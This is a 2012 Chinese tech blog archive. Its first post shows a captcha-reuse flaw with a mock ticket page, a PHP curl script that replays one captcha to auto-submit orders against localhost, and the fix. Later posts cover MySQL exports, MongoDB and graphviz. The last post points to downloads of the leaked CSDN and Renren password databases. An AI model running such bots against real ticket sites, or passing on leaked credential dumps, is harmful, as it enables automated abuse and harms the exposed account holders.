Posted by
JeffJing on
四月 25th, 2012
春运期间,网上出现一个刷票的插件, 为我们买票提供了太多的便利。
用刷票软件进行刷票, 验证码还是要输入一次的,输入完验证码之后, 便可以使用自动提交订单直至订票成功, 免去了我们失败一次又一次重试之苦。 这一切都是利用了网站验证码的漏洞, 验证码验证通过之后没有马上更新, 所以下次请求继续使用这个验证码就行了。

上 Demo 喽:
—————————————-模拟12306———————————————————–
<?php
session_start();
if(!empty($_POST)) {
$time = date('Y-m-d H:i:s');
if($_SESSION['vcode'] == $_POST['vcode']) {
//购票程序
echo "[{$time}]验证码: " , $_POST['vcode'], ", 尝试买票!!";
} else {
echo "[{$time}]验证码错误!!";
}
} else {
?>
<form action='' method='post'>
<input type='text' name='vcode'><img src='vcode.php'> <input type='submit' value='买票'>
</form>
<?php
}
————————————————–模拟刷票—————————————————————————-
<?php
//Cookie文件, 保存SESSION_ID, 要确保提交和验证码在一个会话中
$cookie_jar = dirname(__FILE__).'/cookie.txt';
if(!empty($_GET['img'])) {
$url = 'http://127.0.0.1/vcode.php';
$ch = curl_init($url);
curl_setopt($ch,CURLOPT_COOKIEJAR, $cookie_jar);//把返回来的cookie信息保存在文件中
curl_exec($ch);
curl_close($ch);
exit();
} else {
//把验证码抓下来
if(empty($_POST)) {
$ch = curl_init();
$url = 'http://127.0.0.1/12306.php'; //这里是所要提交的页面,改成你需要的
$str = file_get_contents($url);
$str = str_replace('vcode.php', '?img=1', $str);
echo $str;
} else {
//刷票10次
for ($i =0; $i <10 ; ++$i) {
$url = 'http://127.0.0.1/12306.php';
$ch = curl_init($url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_COOKIEFILE, $cookie_jar);//把返回来的cookie信息保存在文件中
curl_setopt($ch,CURLOPT_POST, 1);
curl_setopt($ch,CURLOPT_POSTFIELDS, http_build_query($_POST));
//设置请求的来源(referrer)
$result = curl_exec($ch);
echo $result, "<br>";
curl_close($ch);
sleep(rand(1,3));
}
}
}
运行结果, 有图有真相:


只输入一次验证码, 就可以无限的刷票了!!!
解决的办法, 很简单: 在Session验证通过之后直接把 $_SESSION['vcode'] 干掉!!!

测试代码下载
Posted by
JeffJing on
四月 16th, 2012
写了一个Shell脚本,导出一段时间的数据到 cvs:
fileName="data"`date --date=$date "+%Y%m%d"`".csv";
#mysql里先导出数据到 xml, 用 select into outfile 导出, 设定字段分隔符和记录分隔符
/usr/local/webserver/mysql/bin/mysql -h "$mysql_host" -u "$mysql_username" --password="$mysql_password" -e "select * INTO OUTFILE '$data_dir$fileName' FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '\"' LINES TERMINATED BY '\\n' from $table where InTime>=$minTime && InTime<$maxTime;"
#这一步也很重要, 需要将编码转换为GBK
rm -rf $final_dir$fileName && touch $final_dir$fileName
iconv -c -f UTF-8 -t GBK $data_dir$fileName > $final_dir$fileName
先用select into outfile 把数据从mysql 里边倒出来,其中字段分隔符 \t , 记录分隔符为 \n, 然后转一下字符的编码就OK了!!
Posted by
JeffJing on
四月 7th, 2012
最近觉得用XP感觉特别不爽, 于是加了根内存 , 将我那台好几年前的台式机装了win7, 装了之后没几天C盘就满了,win7已装好C盘就剩下几个G了, 再装一些应用软件C盘很快就亮红灯了, 重装的话太麻烦了, 于是乎网上找了一大堆分区的软件,都不太好用, 就发现一款软件还不错: PartAssist, 我下的是绿色版的, 打开了之后界面还挺漂亮:

然后照着向导一步一步来就行了

2. 点下一步,




Posted by
JeffJing on
三月 22nd, 2012
久仰MongoDB大名, 因工作较忙(实为借口)始终缘铿一面,今日得见,果名不虚传。随便翻了几页书(MongoDB权威指南), 感触颇深, 忍不住将其与MySQL一并指手画脚一番:
1. 树状结构 VS 二维表格
一直以为 NoSQL 只是简单的 key-value 数据库, 顶多也就是比 memcached 多了持久化的一层,只是一个简单的key-value数据库,擅长存储树状结构. 简单翻了一下MongoDB的目录, 我就知道之前的那种想法是多么的愚蠢:MongoDB不但可以存储树状结构,还可以存储表格,一句话: MySQL可以存储的数据, MongoDB也能存储, MySQL不能存储的数据 NoSQL还能存储, 而且速度比MySQL快!!
和MySQL一样, MongoDB也有数据库(database)的概念, 数据库里边可以有N多个集合 (Collection), 集合的概念差不多相当于关系数据库的数据表, 不同的是集合没有字段的概念, 一个集合下边可以有N多个文档(document),MongoDB不要求文档的结构完全一样 。文档呢可以是任何的json数组, 不限制字段的数量, 也不限制json数组的深度。
2. 灵活 速度 VS 规范
NoSQL向来以快著称, 亲测MongoDB插入100W条记录仅仅用时42.3秒,MySQL需要用时半个小时多,读取速度暂未测试, 据书上说也要比MySQL快出许多。 相对于关系数据库的严谨, 任何数据都要限制数据的类型、长度,甚至要求字段的值唯一, MongoDB的规范化就差了一些, 要靠程序的业务逻辑在存储之前对数据进行规范约束。NoSQ和关系数据库各有所长, 所以NoSQL也不大可能完全取代关系数据库,在一些场合关系型数据库还是有用武之地,不会那么快就被完全抛弃的。
3. 简单实用 VS 功能强大
简单看了一下目录, MongoDB虽说提供了检索 索引 group 以及主从等功能, 就不想对Oracle, 相对于MySQL来说功能还是简单了点, 期待MongoDB日后的改进!!
据说国外有不少网站已经成功迁移MongoDB, 但是个人感觉马上就完全放弃关系型数据库, 迁移MongoDB还为时过早,毕竟这个东西在没有被大多数人认可之前还只能先玩玩, 尝尝鲜, 期待着MongoDB变得更强大!!
Posted by
JeffJing on
三月 20th, 2012
前边对xhprof的安装瞎侃了一通: PHP的profile分析工具xhprof的安装
光一个表格就帮了我们不少的忙, 但是项目大一点的话 函数的调用关系是乱七八糟,表格就太苍白了,如果有图形界面的话就太幸福了。
图形界面也没啥难的, 装个叫graphviz的插件就可以了, 毕竟是绘图的东西, 依赖 libpng,
所以我们就先装 libpng:
wget http://nchc.dl.sourceforge.net/project/libpng/libpng15/1.5.9/libpng-1.5.9.tar.gz
tar -zxvf libpng-1.5.9.tar.gz
cd libpng-1.5.9/
./configure
make && make install
libpng 装好了之后, 就可以装 graphviz了:
wget http://www.graphviz.org/pub/graphviz/stable/SOURCES/graphviz-2.24.0.tar.gz
tar -zxvf graphviz-2.24.0.tar.gz
cd graphviz-2.24.0/
./configure
make && make install
好了之后就可以享受幸福的生活了, 在表格的页面点 [View Full Callgraph] 就进来了:

Posted by
JeffJing on
三月 15th, 2012
代码:
//备份脚本
exec("{$cfg['bak']['mysqldump']} -u {$data['username']} --password={$data['password']} --default-character-set=gbk {$data['dbname']} > {$fileName} ");
//恢复脚本
exec("{$cfg['bak']['mysql']} -u {$data['username']} --password={$data['password']} {$data['dbname']} < {$fileName}" );
直接使用 mysqldump 和 mysql, 这些专业工具的效率绝对是要比PHP写的代码效率高的多
!!
Posted by
JeffJing on
三月 7th, 2012
Posted by
JeffJing on
十二月 23rd, 2011
一直以为是技术牛人的社区, 打开速度慢, 我忍了, 界面丑陋我忍了, 打开就是一大堆广告, 我还忍了, 账号密码居然是明文? 尼玛!!!!
CSDN 刚刚被人搞,天涯 人人 。。。。
网上找的下载地址 CSDN-中文IT社区-600万.rar 104MB 人人网500W_16610.rar :
http://www.qqddc.com/fileUpload/file/